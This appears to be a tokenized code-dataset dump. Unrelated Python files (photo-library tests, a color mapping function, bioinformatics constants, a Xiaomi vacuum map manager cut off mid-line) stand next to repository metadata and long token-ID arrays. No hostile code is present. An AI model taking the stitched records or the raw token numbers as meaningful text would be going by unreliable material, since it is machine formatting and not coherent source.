29901, 1643, 1577, 1643, 29889, 376, 13, 632, 376, 3738, 29931, 4945, 29898, 29931, 19453, 10780, 1643, 29897, 2433, 17969, 3893, 13578, 1495, 29908, 29871, 13, 4706, 376, 5038, 29871, 13, 1678, 376, 27195, 13, 13, 13, 1678, 805, 279, 1519, 29889, 842, 3010, 29898, 1972, 29897, 13, 1678, 805, 279, 1519, 29889, 842, 11609, 5809, 29898, 7249, 29897, 13, 1678, 1018, 29901, 13, 4706, 1121, 353, 805, 279, 1519, 29889, 1972, 2141, 13441, 580, 13, 4706, 3787, 29918, 11330, 29898, 2914, 29897, 13, 4706, 1596, 703, 8949, 8152, 29880, 29901, 16390, 23179, 4854, 2346, 1159, 13, 1678, 5174, 29901, 13, 4706, 1596, 703, 26061, 8152, 29880, 29901, 16390, 23179, 4854, 2346, 1159, 13, 4706, 1209, 13, 13, 1753, 2346, 29918, 340, 29880, 2061, 11857, 29898, 29879, 862, 1519, 29918, 29734, 29892, 2322, 9527, 353, 12633, 6361, 543, 264, 29908, 1125, 13, 1678, 805, 279, 1519, 353, 10937, 1718, 2239, 15646, 29898, 29879, 862, 1519, 29918, 29734, 29892, 29871, 2322, 9527, 29922, 4381, 9527, 29897, 13, 13, 1678, 2346, 353, 4852, 15094, 25634, 364, 2176, 29901, 29871, 529, 1124, 597, 1636, 29889, 29893, 29941, 29889, 990, 29914, 29896, 29929, 29929, 29929, 29914, 29900, 29906, 29914, 29906, 29906, 29899, 29878, 2176, 29899, 29562, 29899, 1983, 29937, 11903, 13, 4706, 376, 15094, 25634, 364, 29069, 29901, 529, 1124, 597, 1636, 29889, 29893, 29941, 29889, 990, 29914, 29906, 29900, 29900, 29900, 29914, 29900, 29896, 29914, 29878, 2176, 29899, 11010, 29937, 11903, 13, 4706, 376, 15094, 25634, 8152, 29880, 29901, 29871, 529, 1124, 597, 1636, 29889, 29893, 29941, 29889, 990, 29914, 29906, 29900, 29900, 29906, 29914, 29900, 29955, 29914, 340, 29880, 29937, 11903, 13, 4706, 376, 6404, 360, 9047, 28852, 1577, 29886, 1577, 1643, 5754, 426, 376, 13, 4706, 376, 29973, 29886, 364, 2176, 29901, 1853, 8152, 29880, 29901, 2061, 4854, 29889, 376, 13, 4706, 376, 14094, 2725, 1964, 29912, 376, 13, 9651, 376, 29973, 29886, 364, 29069, 29901, 1643, 1577, 1643, 29889, 376, 13, 632, 376, 3738, 29931, 4945, 29898, 29931, 19453, 10780, 1643, 29897, 2433, 17969, 3893, 13578, 1495, 29908, 29871, 13, 4706, 376, 5038, 29871, 13, 1678, 376, 27195, 13, 13, 13, 1678, 805, 279, 1519, 29889, 842, 3010, 29898, 1972, 29897, 13, 1678, 805, 279, 1519, 29889, 842, 11609, 5809, 29898, 7249, 29897, 13, 1678, 1018, 29901, 13, 4706, 1121, 353, 805, 279, 1519, 29889, 1972, 2141, 13441, 580, 13, 4706, 3787, 29918, 11330, 29898, 2914, 29897, 13, 4706, 1596, 703, 8949, 8152, 29880, 29901, 2061, 4854, 2346, 1159, 13, 1678, 5174, 29901, 13, 4706, 1596, 703, 26061, 8152, 29880, 29901, 2061, 4854, 2346, 1159, 13, 4706, 1209, 13, 13, 1753, 2346, 29918, 3880, 11857, 3047, 449, 4775, 29879, 29898, 29879, 862, 1519, 29918, 29734, 29892, 2322, 9527, 353, 12633, 6361, 543, 264, 29908, 1125, 13, 1678, 805, 279, 1519, 353, 10937, 1718, 2239, 15646, 29898, 29879, 862, 1519, 29918, 29734, 29892, 29871, 2322, 9527, 29922, 4381, 9527, 29897, 13, 1678, 2346, 353, 4852, 6404, 360, 9047, 28852, 1577, 29886, 5754, 426, 1577, 29879, 1577, 29886, 1577, 29877, 29889, 500, 1159, 13, 13, 1678, 805, 279, 1519, 29889, 842, 3010, 29898, 1972, 29897, 13, 1678, 805, 279, 1519, 29889, 842, 11609, 5809, 29898, 7249, 29897, 13, 1678, 1018, 29901, 13, 4706, 1121, 353, 805, 279, 1519, 29889, 1972, 2141, 13441, 580, 13, 4706, 3787, 29918, 11330, 29898, 2914, 29897, 13, 4706, 1596, 703, 8949, 1304, 2875, 1728, 11073, 2346, 1159, 13, 1678, 5174, 29901, 13, 4706, 1596, 703, 26061, 1304, 2875, 1728, 11073, 2346, 1159, 13, 4706, 1209, 13, 13, 1753, 2346, 29918, 3880, 11857, 29898, 29879, 862, 1519, 29918, 29734, 29892, 2322, 9527, 353, 12633, 6361, 543, 264, 29908, 1125, 13, 1678, 805, 279, 1519, 353, 10937, 1718, 2239, 15646, 29898, 29879, 862, 1519, 29918, 29734, 29892, 29871, 2322, 9527, 29922, 4381, 9527, 29897, 13, 13, 1678, 2346, 353, 4852, 15094, 25634, 364, 29069, 29901, 529, 1124, 597, 1636, 29889, 29893, 29941, 29889, 990, 29914, 29906, 29900, 29900, 29900, 29914, 29900, 29896, 29914, 29878, 2176, 29899, 11010, 29937, 29958, 376, 13, 4706, 376, 6404, 360, 9047, 28852, 1577, 29886, 1577, 1643, 5754, 426, 376, 13, 4706, 376, 29973, 29879, 1577, 29886, 1577, 29877, 29889, 376, 13, 4706, 376, 14094, 2725, 1964, 29912, 376, 13, 9651, 376, 29973, 29886, 364, 29069, 29901, 1643, 1577, 1643, 29889, 376, 13, 632, 376, 3738, 29931, 4945, 29898, 29931, 19453, 10780, 1643, 29897, 2433, 17969, 3893, 13578, 1495, 29908, 29871, 13, 4706, 376, 5038, 29871, 13, 1678, 376, 29913, 27848, 29871, 29945, 29900, 29900, 1159, 13, 13, 1678, 805, 279, 1519, 29889, 842, 3010, 29898, 1972, 29897, 13, 1678, 805, 279, 1519, 29889, 842, 11609, 5809, 29898, 7249, 29897, 13, 1678, 1018, 29901, 13, 4706, 1121, 353, 805, 279, 1519, 29889, 1972, 2141, 13441, 580, 13, 4706, 3787, 29918, 11330, 29898, 2914, 29897, 13, 4706, 1596, 703, 8949, 1304, 2875, 411, 11073, 2346, 1159, 13, 1678, 5174, 29901, 13, 4706, 1596, 703, 26061, 1304, 2875, 411, 11073, 2346, 1159, 13, 308, 13, 4706, 2346, 29918, 3880, 11857, 3047, 449, 4775, 29879, 29898, 29879, 862, 1519, 29918, 29734, 29892, 2322, 9527, 29892, 6361, 29897, 13, 308, 13, 13, 13, 1753, 2346, 29918, 11330, 29898, 29879, 862, 1519, 29918, 29734, 29892, 2322, 9527, 353, 12633, 6361, 543, 264, 29908, 1125, 13, 1678, 5534, 4426, 13, 13, 1678, 396, 1972, 29918, 3880, 11857, 29898, 29879, 862, 1519, 29918, 29734, 29892, 2322, 9527, 29922, 4381, 9527, 29892, 6361, 29922, 6361, 29897, 13, 1678, 2346, 29918, 3880, 11857, 3047, 449, 4775, 29879, 29898, 29879, 862, 1519, 29918, 29734, 29892, 2322, 9527, 29922, 4381, 9527, 29892, 6361, 29922, 3893, 29897, 13, 1678, 2346, 29918, 340, 29880, 2061, 11857, 29898, 29879, 862, 1519, 29918, 29734, 29892, 29871, 2322, 9527, 29922, 4381, 9527, 29892, 6361, 29922, 6361, 29897, 13, 1678, 2346, 29918, 340, 29880, 16390, 23179, 11857, 29898, 29879, 862, 1519, 29918, 29734, 29892, 29871, 2322, 9527, 29922, 4381, 9527, 29892, 6361, 29922, 6361, 29897, 13, 1678, 2346, 29918, 29878, 2176, 4854, 29898, 29879, 862, 1519, 29918, 29734, 29892, 2322, 9527, 29922, 2322, 9527, 29892, 6361, 29922, 6361, 29897, 13, 13, 1678, 363, 282, 297, 4426, 29901, 13, 4706, 4426, 29961, 29886, 29962, 3366, 26045, 3108, 353, 1051, 29898, 11330, 29961, 29886, 29962, 3366, 26045, 20068, 13, 13, 1678, 396, 2541, 1722, 703, 6904, 2536, 327, 29918, 11330, 29889, 3126, 613, 376, 29893, 1159, 408, 2436, 29918, 1445, 29901, 13, 1678, 396, 1678, 4390, 29889, 15070, 29898, 11330, 29892, 2436, 29918, 1445, 29892, 29536, 29922, 29946, 29897, 13, 13, 1753, 1667, 29898, 19218, 1125, 13, 1678, 16248, 353, 5124, 396, 321, 29889, 29887, 1696, 376, 1124, 597, 2585, 29886, 1381, 29889, 990, 29914, 29879, 862, 1519, 29908, 13, 1678, 2322, 9527, 353, 5124, 396, 321, 29889, 29887, 1696, 376, 1124, 597, 2585, 29886, 1381, 29889, 990, 29908, 13, 1678, 6361, 353, 6213, 396, 29908, 264, 29908, 2322, 13, 1678, 2437, 10610, 29918, 978, 353, 6213, 396, 29908, 1357, 7333, 20255, 29908, 2322, 13, 1678, 938, 1237, 353, 518, 13, 4706, 376, 657, 3596, 12191, 6572, 2366, 3010, 613, 13, 4706, 376, 657, 3010, 1252, 9018, 362, 613, 13, 4706, 376, 657, 29943, 332, 721, 10602, 613, 13, 4706, 376, 657, 4854, 2061, 613, 13, 4706, 376, 657, 9868, 613, 13, 4706, 376, 657, 29940, 25099, 5072, 613, 13, 4706, 376, 657, 29940, 25099, 5072, 2059, 2385, 613, 13, 4706, 376, 657, 2385, 3379, 2925, 613, 13, 4706, 376, 657, 29565, 552, 6565, 2450, 613, 13, 4706, 376, 657, 6508, 613, 13, 4706, 376, 657, 19111, 29880, 1230, 613, 13, 4706, 376, 657, 4854, 20622, 2059, 2385, 613, 13, 4706, 376, 657, 4854, 20622, 29908, 13, 1678, 4514, 13, 1678, 1121, 29918, 13400, 353, 29871, 29945, 13, 13, 1678, 565, 7431, 29898, 19218, 29897, 1275, 29871, 29900, 29901, 13, 4706, 1596, 877, 27959, 29918, 13305, 29889, 2272, 448, 29872, 10937, 1718, 29984, 29918, 29734, 448, 29887, 2322, 3983, 21069, 29880, 6361, 448, 29875, 2437, 10610, 1024, 29962, 1495, 13, 4706, 10876, 29889, 13322, 29898, 29906, 29897, 13, 1678, 1018, 29901, 13, 4706, 29111, 29892, 6389, 353, 679, 3670, 29889, 657, 3670, 29898, 19218, 1699, 354, 29901, 29887, 29901, 492, 29901, 613, 3366, 29734, 543, 1699, 4262, 543, 1699, 3893, 3284, 11569, 10610, 29918, 978, 20068, 13, 1678, 5174, 679, 3670, 29889, 2577, 3670, 2392, 29901, 13, 4706, 1596, 877, 27959, 29918, 13305, 29889, 2272, 448, 29872, 10937, 1718, 29984, 29918, 29734, 448, 29887, 2322, 3983, 21069, 29880, 6361, 448, 29875, 2437, 10610, 1024, 29962, 1495, 13, 4706, 10876, 29889, 13322, 29898, 29906, 29897, 13, 1678, 363, 3523, 29892, 1852, 297, 29111, 29901, 13, 4706, 565, 3523, 1275, 17411, 29882, 2396, 13, 9651, 1596, 877, 27959, 29918, 13305, 29889, 2272, 448, 29872, 10937, 1718, 29984, 29918, 29734, 448, 29887, 2322, 3983, 21069, 29880, 6361, 448, 29875, 2437, 10610, 1024, 29962, 1495, 13, 9651, 10876, 29889, 13322, 580, 13, 4706, 25342, 3523, 297, 4852, 29899, 29872, 613, 376, 489, 29734, 29908, 1125, 13, 9651, 16248, 353, 1852, 13, 4706, 25342, 3523, 297, 4852, 29899, 29887, 613, 376, 489, 4262, 29908, 1125, 13, 9651, 2322, 9527, 353, 1852, 13, 4706, 25342, 3523, 297, 4852, 29899, 29880, 613, 376, 489, 3893, 1159, 322, 313, 1191, 1275, 376, 264, 29908, 470, 1852, 1275, 376, 277, 29908, 1125, 13, 9651, 6361, 353, 1852, 13, 4706, 25342, 3523, 297, 4852, 29899, 29875, 613, 376, 489, 11569, 10610, 29918, 978, 29908, 1125, 13, 9651, 2437, 10610, 29918, 978, 353, 1852, 13, 268, 13, 1678, 565, 6361, 338, 6213, 29901, 13, 4706, 6361, 543, 264, 29908, 13, 1678, 565, 2437, 10610, 29918, 978, 338, 6213, 29901, 13, 4706, 2437, 10610, 29918, 978, 353, 376, 1357, 7333, 20255, 29908, 13, 13, 1678, 1596, 877, 5550, 1718, 2239, 16248, 29901, 13420, 16248, 29897, 13, 1678, 1596, 877, 9527, 29901, 13420, 2322, 9527, 29897, 13, 1678, 1596, 877, 29931, 574, 29901, 13420, 6361, 29897, 13, 1678, 1596, 877, 27613, 1024, 29901, 13420, 2437, 10610, 29918, 978, 29897, 13, 13, 268, 13, 1678, 1596, 703, 3010, 292, 16212, 856, 1159, 13, 1678, 2346, 29918, 296, 1907, 29898, 29734, 29892, 2322, 9527, 29922, 4381, 9527, 29892, 6361, 29922, 3893, 29897, 1678, 13, 1678, 1596, 703, 29907, 14044, 292, 770, 11073, 856, 1159, 418, 13, 1678, 5941, 29918, 2536, 327, 29918, 296, 1907, 580, 13, 1678, 396, 2158, 703, 29909, 688, 358, 292, 770, 11073, 856, 1159, 13, 1678, 396, 2987, 358, 29918, 2536, 327, 29918, 296, 1907, 580, 13, 13, 1678, 1596, 703, 3010, 292, 4426, 856, 1159, 13, 1678, 2346, 29918, 11330, 29898, 29734, 29892, 2322, 9527, 29922, 4381, 9527, 29892, 6361, 29922, 3893, 29897, 13, 1678, 1596, 703, 29907, 14044, 292, 2875, 11073, 856, 1159, 13, 1678, 5941, 29918, 2536, 327, 29918, 11330, 580, 13, 1678, 1596, 703, 29909, 688, 358, 292, 2875, 11073, 856, 1159, 13, 1678, 18765, 29918, 2536, 327, 29918, 11330, 580, 13, 268, 13, 1678, 3349, 29918, 14727, 1907, 29918, 2536, 327, 29918, 11330, 580, 13, 1678, 14550, 13, 1678, 411, 1722, 877, 6904, 2987, 358, 287, 29918, 2536, 327, 29918, 11330, 29889, 3126, 1495, 408, 285, 29901, 13, 4706, 4426, 353, 4390, 29889, 1359, 29898, 29888, 29897, 13, 13, 1678, 14550, 13, 1678, 565, 376, 1643, 29908, 297, 4426, 322, 7431, 29898, 11330, 3366, 1643, 3108, 3366, 26045, 20068, 29958, 29896, 29901, 13, 4706, 9657, 29918, 1643, 353, 6571, 13, 13, 4706, 363, 3107, 29918, 1643, 297, 4426, 3366, 1643, 3108, 3366, 26045, 3108, 29901, 13, 9651, 805, 279, 1519, 353, 10937, 1718, 2239, 15646, 29898, 29734, 29892, 29871, 2322, 9527, 29922, 4381, 9527, 29897, 13, 13, 9651, 2346, 353, 4852, 6404, 21122, 22798, 408, 1577, 2798, 5754, 426, 376, 13, 18884, 376, 29973, 29879, 376, 718, 3107, 29918, 1643, 718, 376, 1577, 29877, 29889, 376, 308, 13, 9651, 376, 27195, 13, 13, 9651, 805, 279, 1519, 29889, 842, 3010, 29898, 1972, 29897, 13, 9651, 805, 279, 1519, 29889, 842, 11609, 5809, 29898, 7249, 29897, 13, 9651, 1018, 29901, 13, 18884, 1121, 353, 805, 279, 1519, 29889, 1972, 2141, 13441, 580, 13, 18884, 1121, 353, 1121, 1839, 9902, 16215, 5355, 886, 2033, 29961, 29900, 29962, 13, 18884, 9657, 29918, 1643, 29961, 7728, 29918, 1643, 29962, 353, 1121, 1839, 2798, 16215, 1767, 2033, 13, 9651, 5174, 29901, 13, 18884, 1209, 13, 13, 4706, 1820, 29918, 3317, 353, 4236, 29898, 8977, 29918, 1643, 29892, 1820, 29922, 14013, 921, 29901, 9657, 29918, 1643, 29961, 29916, 2314, 29871, 13, 4706, 4426, 3366, 1643, 3108, 3366, 26045, 3108, 353, 518, 1989, 29918, 3317, 29962, 13, 268, 13, 1678, 14550, 13, 1678, 411, 1722, 877, 6904, 14941, 287, 29918, 2536, 327, 29918, 296, 1907, 29889, 3126, 1495, 408, 285, 29901, 13, 4706, 16212, 353, 4390, 29889, 1359, 29898, 29888, 29897, 13, 1678, 14550, 13, 13, 1678, 1970, 353, 426, 13, 4706, 376, 11569, 10610, 29918, 978, 29908, 584, 2437, 10610, 29918, 978, 29892, 13, 4706, 376, 524, 1237, 29908, 584, 938, 1237, 29892, 13, 4706, 376, 3893, 29908, 584, 6361, 29892, 13, 4706, 376, 2914, 29918, 13400, 29908, 584, 1121, 29918, 13400, 29892, 13, 4706, 376, 29734, 29908, 584, 16248, 29892, 13, 4706, 376, 10041, 29908, 584, 16212, 29892, 13, 4706, 376, 6799, 29908, 584, 4426, 13, 1678, 500, 13, 13, 1678, 411, 1722, 703, 6904, 5527, 29889, 3126, 613, 376, 29893, 1159, 408, 2436, 29918, 1445, 29901, 13, 4706, 4390, 29889, 15070, 29898, 5527, 29892, 2436, 29918, 1445, 29892, 29536, 29922, 29946, 29897, 13, 13, 361, 4770, 978, 1649, 1275, 376, 1649, 3396, 1649, 1115, 13, 1678, 1667, 29898, 9675, 29889, 19218, 29961, 29896, 29901, 2314, 13, 268, 13, 13, 2 ]
tests/test_library.py
dsecca/FotoFriend_LanguageBinding
0
150335
import pytest import fotofriend import urllib.request import os class TestLibrary: def test_login(self): links = fotofriend.login("fotofriendtest") assert links == { 'Links': ['https://s3-us-west-2.amazonaws.com/foto-friend/5a1848632bc46432713be66d/dog.jpg'] } @pytest.mark.dependency() def test_upload(self): urllib.request.urlretrieve('http://www.catster.com/wp-content/uploads/2017/08/A-fluffy-cat-looking-funny-surprised-or-concerned.jpg', 'tmp.jpg') file = open('tmp.jpg', 'rb').read() code = fotofriend.uploadImage(file, "tmp.jpg", "fotofriendtest") os.remove("tmp.jpg") assert code == 1 @pytest.mark.dependency(depends=['test_upload']) def test_delete(self): code = fotofriend.deleteImage("https://s3-us-west-2.amazonaws.com/foto-friend/5a1848632bc46432713be66d/tmp.jpg", "fotofriendtest") assert code == 200 def test_filter(self): links = fotofriend.filter(["dog"], "fotofriendtest") assert links == { 'Links': ['https://s3-us-west-2.amazonaws.com/foto-friend/5a1848632bc46432713be66d/dog.jpg'] }
[ 1, 1053, 11451, 1688, 13, 5215, 10105, 974, 374, 355, 13, 5215, 3142, 1982, 29889, 3827, 13, 5215, 2897, 13, 13, 1990, 4321, 12284, 29901, 13, 1678, 822, 1243, 29918, 7507, 29898, 1311, 1125, 13, 4706, 2988, 353, 10105, 974, 374, 355, 29889, 7507, 703, 29888, 327, 974, 374, 355, 1688, 1159, 13, 4706, 4974, 2988, 1275, 426, 525, 6595, 29879, 2396, 6024, 991, 597, 29879, 29941, 29899, 375, 29899, 5933, 29899, 29906, 29889, 17260, 10467, 29889, 510, 29914, 29888, 3747, 29899, 18326, 29914, 29945, 29874, 29896, 29947, 29946, 29947, 29953, 29941, 29906, 12328, 29946, 29953, 29946, 29941, 29906, 29955, 29896, 29941, 915, 29953, 29953, 29881, 29914, 26169, 29889, 6173, 2033, 500, 13, 13, 1678, 732, 2272, 1688, 29889, 3502, 29889, 10836, 580, 13, 1678, 822, 1243, 29918, 9009, 29898, 1311, 1125, 13, 4706, 3142, 1982, 29889, 3827, 29889, 2271, 276, 509, 2418, 877, 1124, 597, 1636, 29889, 4117, 2475, 29889, 510, 29914, 11912, 29899, 3051, 29914, 9009, 29879, 29914, 29906, 29900, 29896, 29955, 29914, 29900, 29947, 29914, 29909, 29899, 1579, 3096, 29891, 29899, 4117, 29899, 23261, 29899, 7692, 1460, 29899, 7610, 558, 3368, 29899, 272, 29899, 535, 29883, 824, 287, 29889, 6173, 742, 525, 7050, 29889, 6173, 1495, 13, 4706, 934, 353, 1722, 877, 7050, 29889, 6173, 742, 525, 6050, 2824, 949, 580, 13, 4706, 775, 353, 10105, 974, 374, 355, 29889, 9009, 2940, 29898, 1445, 29892, 376, 7050, 29889, 6173, 613, 376, 29888, 327, 974, 374, 355, 1688, 1159, 13, 4706, 2897, 29889, 5992, 703, 7050, 29889, 6173, 1159, 13, 4706, 4974, 775, 1275, 29871, 29896, 13, 13, 1678, 732, 2272, 1688, 29889, 3502, 29889, 10836, 29898, 2716, 1975, 29922, 1839, 1688, 29918, 9009, 11287, 13, 1678, 822, 1243, 29918, 8143, 29898, 1311, 1125, 13, 4706, 775, 353, 10105, 974, 374, 355, 29889, 8143, 2940, 703, 991, 597, 29879, 29941, 29899, 375, 29899, 5933, 29899, 29906, 29889, 17260, 10467, 29889, 510, 29914, 29888, 3747, 29899, 18326, 29914, 29945, 29874, 29896, 29947, 29946, 29947, 29953, 29941, 29906, 12328, 29946, 29953, 29946, 29941, 29906, 29955, 29896, 29941, 915, 29953, 29953, 29881, 29914, 7050, 29889, 6173, 613, 376, 29888, 327, 974, 374, 355, 1688, 1159, 13, 4706, 4974, 775, 1275, 29871, 29906, 29900, 29900, 13, 13, 1678, 822, 1243, 29918, 4572, 29898, 1311, 1125, 13, 4706, 2988, 353, 10105, 974, 374, 355, 29889, 4572, 29898, 3366, 26169, 12436, 376, 29888, 327, 974, 374, 355, 1688, 1159, 13, 4706, 4974, 2988, 1275, 426, 525, 6595, 29879, 2396, 6024, 991, 597, 29879, 29941, 29899, 375, 29899, 5933, 29899, 29906, 29889, 17260, 10467, 29889, 510, 29914, 29888, 3747, 29899, 18326, 29914, 29945, 29874, 29896, 29947, 29946, 29947, 29953, 29941, 29906, 12328, 29946, 29953, 29946, 29941, 29906, 29955, 29896, 29941, 915, 29953, 29953, 29881, 29914, 26169, 29889, 6173, 2033, 500, 2 ]
colornumber.py
kkdp13/testforbot
0
197499
# colorcodingfor rows(...) def colornumber(color): if color == 'd': return 0 elif color == 'e': return 1 elif color == 'f': return 2 elif color == 'g': return 3 elif color == 'h': return 4 elif color == 'i': return 5 elif color == 'j': return 6 elif color == 'k': return 7 elif color == 'l': return 8 else: return 9
[ 1, 396, 2927, 29883, 3689, 1454, 4206, 19327, 8443, 13, 1753, 784, 1398, 2807, 29898, 2780, 1125, 30004, 13, 1678, 565, 2927, 1275, 525, 29881, 2396, 30004, 13, 4706, 736, 29871, 29900, 30004, 13, 1678, 25342, 2927, 1275, 525, 29872, 2396, 30004, 13, 4706, 736, 29871, 29896, 30004, 13, 1678, 25342, 2927, 1275, 525, 29888, 2396, 30004, 13, 4706, 736, 29871, 29906, 30004, 13, 1678, 25342, 2927, 1275, 525, 29887, 2396, 30004, 13, 4706, 736, 29871, 29941, 30004, 13, 1678, 25342, 2927, 1275, 525, 29882, 2396, 30004, 13, 4706, 736, 29871, 29946, 30004, 13, 1678, 25342, 2927, 1275, 525, 29875, 2396, 30004, 13, 4706, 736, 29871, 29945, 30004, 13, 1678, 25342, 2927, 1275, 525, 29926, 2396, 30004, 13, 4706, 736, 29871, 29953, 30004, 13, 1678, 25342, 2927, 1275, 525, 29895, 2396, 30004, 13, 4706, 736, 29871, 29955, 30004, 13, 1678, 25342, 2927, 1275, 525, 29880, 2396, 30004, 13, 4706, 736, 29871, 29947, 30004, 13, 1678, 1683, 29901, 30004, 13, 4706, 736, 29871, 29929, 2 ]
pyppi/base/constants.py
Aniket-Pradhan/pyPPI
7
1609726
<gh_stars>1-10 """Definitions of some commonly used variables throughout the application.""" __all__ = [ 'P1', 'P2', 'G1', 'G2', 'SOURCE', 'TARGET', 'LABEL', 'PUBMED', 'EXPERIMENT_TYPE', 'NULL_VALUES', ] import numpy as np P1 = 'protein_a' P2 = 'protein_b' G1 = 'gene_a' G2 = 'gene_b' SOURCE = 'source' TARGET = 'target' LABEL = 'label' PUBMED = 'pubmed' EXPERIMENT_TYPE = 'experiment_type' NULL_VALUES = ( '', 'None', 'NaN', 'none', 'nan', '-', 'unknown', None, ' ', np.NaN ) MAX_SEED = 1000000
[ 1, 529, 12443, 29918, 303, 1503, 29958, 29896, 29899, 29896, 29900, 13, 15945, 29908, 3206, 262, 2187, 310, 777, 15574, 1304, 3651, 10106, 278, 2280, 1213, 15945, 13, 13, 1649, 497, 1649, 353, 518, 13, 1678, 525, 29925, 29896, 742, 525, 29925, 29906, 742, 525, 29954, 29896, 742, 525, 29954, 29906, 742, 13, 1678, 525, 27839, 4741, 742, 525, 29911, 1718, 7194, 742, 525, 24461, 6670, 742, 13, 1678, 525, 7056, 29933, 2303, 29928, 742, 525, 5746, 13171, 7833, 3919, 29918, 11116, 742, 525, 10074, 29918, 8932, 12996, 742, 13, 29962, 13, 13, 5215, 12655, 408, 7442, 13, 13, 13, 29925, 29896, 353, 525, 14676, 262, 29918, 29874, 29915, 13, 29925, 29906, 353, 525, 14676, 262, 29918, 29890, 29915, 13, 29954, 29896, 353, 525, 29887, 1600, 29918, 29874, 29915, 13, 29954, 29906, 353, 525, 29887, 1600, 29918, 29890, 29915, 13, 27839, 4741, 353, 525, 4993, 29915, 13, 29911, 1718, 7194, 353, 525, 5182, 29915, 13, 24461, 6670, 353, 525, 1643, 29915, 13, 7056, 29933, 2303, 29928, 353, 525, 5467, 2168, 29915, 13, 5746, 13171, 7833, 3919, 29918, 11116, 353, 525, 735, 15362, 29918, 1853, 29915, 13, 10074, 29918, 8932, 12996, 353, 313, 13, 1678, 15516, 525, 8516, 742, 525, 19377, 742, 525, 9290, 742, 525, 13707, 742, 17411, 742, 525, 26690, 742, 6213, 29892, 525, 13420, 7442, 29889, 19377, 13, 29897, 13, 12648, 29918, 1660, 3352, 353, 29871, 29896, 29900, 29900, 29900, 29900, 29900, 29900, 13, 2 ]
custom_components/xiaomi_cloud_map_extractor/vacuum_manager.py
elad-bar/Home-Assistant-custom-components-Xiaomi-Cloud-Map-Extractor
0
29139
import io import logging import time from typing import List, Optional from custom_components.xiaomi_cloud_map_extractor.common.map_data import MapData from custom_components.xiaomi_cloud_map_extractor.types import Colors, Drawables, ImageConfig, Sizes, Texts try: from miio import RoborockVacuum, DeviceException except ImportError: from miio import Vacuum as RoborockVacuum, DeviceException import PIL.Image as Image from homeassistant.const import CONF_HOST, CONF_NAME, CONF_PASSWORD, CONF_TOKEN, CONF_USERNAME from custom_components.xiaomi_cloud_map_extractor.common.map_data_parser import MapDataParser from custom_components.xiaomi_cloud_map_extractor.common.xiaomi_cloud_connector import XiaomiCloudConnector from custom_components.xiaomi_cloud_map_extractor.const import * from custom_components.xiaomi_cloud_map_extractor.dreame.vacuum import DreameVacuum from custom_components.xiaomi_cloud_map_extractor.enums import CameraStatus from custom_components.xiaomi_cloud_map_extractor.roidmi.vacuum import RoidmiVacuum from custom_components.xiaomi_cloud_map_extractor.unsupported.vacuum import UnsupportedVacuum from custom_components.xiaomi_cloud_map_extractor.viomi.vacuum import ViomiVacuum from custom_components.xiaomi_cloud_map_extractor.xiaomi.vacuum import XiaomiVacuum _LOGGER = logging.getLogger(__name__) DEVICE_MAPPING = { CONF_AVAILABLE_API_XIAOMI: XiaomiVacuum, CONF_AVAILABLE_API_VIOMI: ViomiVacuum, CONF_AVAILABLE_API_ROIDMI: RoidmiVacuum, CONF_AVAILABLE_API_DREAME: DreameVacuum, } STATUS_LOG_LEVEL = { CameraStatus.FAILED_TO_RETRIEVE_DEVICE: _LOGGER.error, CameraStatus.UNABLE_TO_PARSE_MAP: _LOGGER.warning, CameraStatus.UNABLE_TO_RETRIEVE_MAP: _LOGGER.warning } class VacuumManager: def __init__(self, config): host: str = config[CONF_HOST] token: str = config[CONF_TOKEN] username: str = config[CONF_USERNAME] password: str = config[CONF_PASSWORD] drawables = config.get(CONF_DRAW, []) room_colors = config.get(CONF_ROOM_COLORS, {}) colors: Colors = config.get(CONF_COLORS, {}) for room, color in room_colors.items(): colors[f"{COLOR_ROOM_PREFIX}{room}"] = color self._vacuum = RoborockVacuum(host, token) self._connector = XiaomiCloudConnector(username, password) self._name: str = config.get(CONF_NAME, DEFAULT_NAME) self._should_poll: bool = config.get(CONF_AUTO_UPDATE, True) self._image_config: ImageConfig = config.get(CONF_MAP_TRANSFORM, DEFAULT_MAP_TRANSFORM) self._colors: Colors = colors self._drawables: Drawables = CONF_AVAILABLE_DRAWABLES[1:] if DRAWABLE_ALL in drawables else drawables self._sizes: Sizes = config.get(CONF_SIZES, DEFAULT_SIZES) self._texts: Texts = config.get(CONF_TEXTS, []) self._country: str = config.get(CONF_COUNTRY) self._allowed_attributes: List[str] = config.get(CONF_ATTRIBUTES, []) self._store_map_raw: bool = config.get(CONF_STORE_MAP_RAW, False) self._store_map_image: bool = config.get(CONF_STORE_MAP_IMAGE) self._store_map_path: str = config.get(CONF_STORE_MAP_PATH, DEFAULT_STORE_MAP_PATH) self._forced_api: str = config.get(CONF_FORCE_API) self._device = None self._used_api = None self._map_saved = None self._image = None self._map_data = None self._logged_in = False self._logged_in_previously = True self._received_map_name_previously = True self._attributes = {} self._status = CameraStatus.INITIALIZING @property def image(self) -> Optional[bytes]: return self._image @property def name(self): return self._name @property def attributes(self): return self._attributes @property def should_poll(self): return self._should_poll def turn_on(self): self._should_poll = True def turn_off(self): self._should_poll = False def _get_attributes_data(self): map_data = self._map_data rooms = [] if self._map_data.rooms is not None: rooms = dict( filter(lambda x: x[0] is not None, map(lambda x: (x[0], x[1].name), self._map_data.rooms.items()))) if len(rooms) == 0: rooms = list(self._map_data.rooms.keys()) attributes = { ATTRIBUTE_CALIBRATION: map_data.calibration(), ATTRIBUTE_CHARGER: map_data.charger, ATTRIBUTE_CLEANED_ROOMS: map_data.cleaned_rooms, ATTRIBUTE_COUNTRY: self._country, ATTRIBUTE_GOTO: map_data.goto, ATTRIBUTE_GOTO_PATH: map_data.goto_path, ATTRIBUTE_GOTO_PREDICTED_PATH: map_data.predicted_path, ATTRIBUTE_IGNORED_OBSTACLES: map_data.ignored_obstacles, ATTRIBUTE_IGNORED_OBSTACLES_WITH_PHOTO: map_data.ignored_obstacles_with_photo, ATTRIBUTE_IMAGE: map_data.image, ATTRIBUTE_IS_EMPTY: map_data.image.is_empty, ATTRIBUTE_MAP_NAME: map_data.map_name, ATTRIBUTE_NO_GO_AREAS: map_data.no_go_areas, ATTRIBUTE_NO_MOPPING_AREAS: map_data.no_mopping_areas, ATTRIBUTE_OBSTACLES: map_data.obstacles, ATTRIBUTE_OBSTACLES_WITH_PHOTO: map_data.obstacles_with_photo, ATTRIBUTE_PATH: map_data.path, ATTRIBUTE_ROOM_NUMBERS: rooms, ATTRIBUTE_ROOMS: map_data.rooms, ATTRIBUTE_VACUUM_POSITION: map_data.vacuum_position, ATTRIBUTE_VACUUM_ROOM: map_data.vacuum_room, ATTRIBUTE_VACUUM_ROOM_NAME: 